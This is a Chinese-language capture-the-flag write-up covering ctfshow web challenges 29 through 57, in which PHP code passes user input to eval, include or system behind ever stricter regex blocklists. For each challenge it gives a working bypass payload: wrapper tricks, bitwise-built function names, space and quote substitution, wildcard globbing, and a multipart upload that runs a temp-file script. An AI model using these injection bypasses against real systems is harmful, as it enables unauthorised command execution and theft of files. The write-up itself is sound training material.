web29
题目描述
命令执行,需要严格的过滤
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}preg_match()
preg_match() 是 php 中用来正则匹配字符串的函数,即拿一个正则表达式,去检查目标字符串有没有符合规则的内容
基本语法:preg_match($pattern, $subject, $matches);
pattern:正则表达式,由两个/(定界符) 包裹,例如:/cat/单纯匹配包含cat的文本/\d+/:匹配一个或多个数字(\d 代表数字,+ 代表一个或多个)。/^[a-z]+$/i:匹配纯字母字符串(^开头,$结尾,i表示不区分大小写)。- $$\text + \text$$
$subject目标字符串$matches匹配结果,可选参数- 类型:数组
- $matches[0] 放匹配到的整个结果
- $matches[1] 使用() 捕获组,会放第一个子内容
匹配成功返回 1 ,否则返回 0 ,返回 false 代表正则表达式写错
eval()
把字符串当代码执行,例如:
eval("echo 123;") = echo 123;
eval() 可执行表达式和变量
本题
构造 ?c=system(%27ls%27);

由于过滤 flag ,我们使用通配符。
?c=system("tac%20f*");
web30
题目描述
命令执行,需要严格的过滤
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}可以看见过滤了 flag,system,php
我们使用 passthru
GET /?c=passthru(%22cat%20f*%22)%3b HTTP/1.1

也可以使用 echo shell_exec("cat f*");
GET /?c=echo%20shell_exec(%22cat%20f*%22)%3b HTTP/1.1
输出 cat f* 的完整结果
web31
题目描述
命令执行,需要严格的过滤
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}过滤更严格
可以看见还过滤了 . '


有 flag.php
highlight_file(current(glob("f*"))); 我们直接高亮显示
glob() 返回所有匹配的文件 ,current 取数组默认第一个元素
web32
题目描述
命令执行,需要严格的过滤
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}过滤了 ;

由于只检查 c ,我们将其他被过滤的放到另一个参数
构造 ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
将得到的 base64 转换即可
web33
题目描述
命令执行,需要严格的过滤
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}可以看到又过滤了 "
构造 ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
将得到的 base64 转换即可
web34
题目描述
命令执行,需要严格的过滤
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}又过滤了 :
依旧构造 ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
将得到的 base64 转换即可
web35
题目描述
命令执行,需要严格的过滤
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}依旧构造 ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
将得到的 base64 转换即可
web36
题目描述
命令执行,需要严格的过滤
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}把 1 换成字母就行
web37
题目描述
命令执行,需要严格的过滤
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__);}include 函数
include 的参数是文件的路径,如果这个文件中还有 php 代码,那么 include 会去执行
include($c);
c = a.php
a.php 内容是
<?phpecho "123";?>那么就执行 echo "123";
于是这道题我们做一个临时文件
?c=data://text/plain,<?php include($_GET[1]);?>&1=flag.php

web38
题目描述
命令执行,需要严格的过滤
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__);}可以看到这道题过滤了 php 那我们改为短输出
?c=data://text/plain,<?=include($_GET[1])?>&1=flag.php
web39
题目描述
命令执行,需要严格的过滤
<?phperror_reporting(0);if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__);}语法
. 在 php 里面是拼接符,即将变量 c 和 .php 拼接作为路径
先试的 ?c=data://text/plain,<?=include($_GET[1])?>&1=flag.php

那我们换一种方法
?c=data://text/plain,<?=system("tac%20f*.php");?>

web40
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__);}可以看到这道题过滤了许多符号,虽然我们看到有括号,但是注意,这里面过滤的是 () 不是 (),那么函数是可以执行的
?c=show_source(next(array_reverse(scandir(dirname(__FILE__)))));
我们这样子构造,__FILE__ 魔术常量取当前文件路径,传入print_r(scandir(dirname(__FILE__)));

之后 array_reverse(scandir(dirname(__FILE__)))变成

next(array_reverse(scandir(dirname(__FILE__)))) 我们取第二个文件,结果:
$flag="ctfshow{288b3350-b2e7-4b7f-9202-9c8f08ed955a}";
web41
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_POST['c'])){ $c = $_POST['c'];if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); }}else{ highlight_file(__FILE__);}?>由于 php 中可以按位或,那我们将 passthru("tac f*");按位或
c=("````````"|"%10%01%13%13%14%08%12%15")("``` `*"|"%14%01%03%20%06%20")
web42
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1");}else{ highlight_file(__FILE__);}我们用命令分隔符 ?c=tac%20f*; 隔开即可
web43
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}这个题目用 && 前一个成功才执行后一个
URL 编码是 ?c=tac%20f*%26%26
web44
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}依旧 ?c=tac%20f*%26%26
web45
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}这个题目过滤了空格,我们用 ${IFS} 代替
?c=tac${IFS}f*%26%26
也可以用 TAB ?c=tac%09f*%26%26
web46
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}?c=tac%09fla?.php%26%26 注意,由于在正则处理前我们转化成 URL 编码,所以到正则匹配的时候数字已经变成了对应的符号
web47
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}依旧?c=tac%09fla?.php%26%26
web48
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}依旧 ?c=tac%09fla?.php%26%26
web49
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}依旧 ?c=tac%09fla?.php%26%26
也可以 ?c=tac<fla''g.php|| ?c=tac<fla\g.php||
web50
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}依旧 ?c=tac<fla''g.php|| ?c=tac<fla\g.php||
web51
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}可以看见基本上能用的都过滤了 ?c=ta%27%27c<fla\g.php|| 将 tac 拆开即可
web52
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c." >/dev/null 2>&1"); }}else{ highlight_file(__FILE__);}php尝试 ?c=t%27%27ac${IFS}fla%27%27g.php||

ls 一下 ?c=ls${IFS}/||

?c=t%27%27ac${IFS}/fla%27%27g||

web53
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ echo($c); $d = system($c); echo "<br>".$d; }else{ echo 'no'; }}else{ highlight_file(__FILE__);}?c=ta%27%27c${IFS}fla?.php%0A 我们用换行替代 ;
web54
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); }}else{ highlight_file(__FILE__);}这里拦截严格很多,只要按照顺序出现都会被拦截,我们用 grep
?c=grep${IFS}fla${IFS}fla?.php
web55
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); }}else{ highlight_file(__FILE__);}由于过滤了字母,我们考虑用通配符展开
?c=/???/????64%20????.??? 这样子匹配的是 /bin/base64/flag.php
我们将得到的内容从 base64 解码即可
web56
题目描述
命令执行,需要严格的过滤
<?phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); }}else{ highlight_file(__FILE__);}可以看见这回连数字都拦了,利用 burp 发包
POST /?c=.+/???/????????[@-[] HTTP/1.1Host: dc25e22c-b04a-47f5-af17-733f10129fa1.challenge.ctf.showContent-Type: multipart/form-data; boundary=---------------------------4020804835458957171125398001Content-Length: 240-----------------------------4020804835458957171125398001Content-Disposition: form-data; name="file"; filename="filecat.txt"Content-Type: text/plain#!/bin/shcat flag.php-----------------------------4020804835458957171125398001--php 处理 multipart/form-data 时会把上传的文件保存为临时文件,通常在 /tmp/phpxxxxxxxxx,在当前请求结束前这个文件还在,在 glob shell中,[@-[]表示从 @~]任意字符,即 @ A~Z ]
web57
题目描述
命令执行,需要严格的过滤,已测试,可绕
<?php//flag in 36.phpif(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); }}else{ highlight_file(__FILE__);}flag 在 36.php 我们需要用算术展开到 36
?c=$((!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())+!$(())))构造此 payload
$(()) # 等价于 0!$(()) # 等价于 !0,也就是 1
读者回信
正在翻开留言页...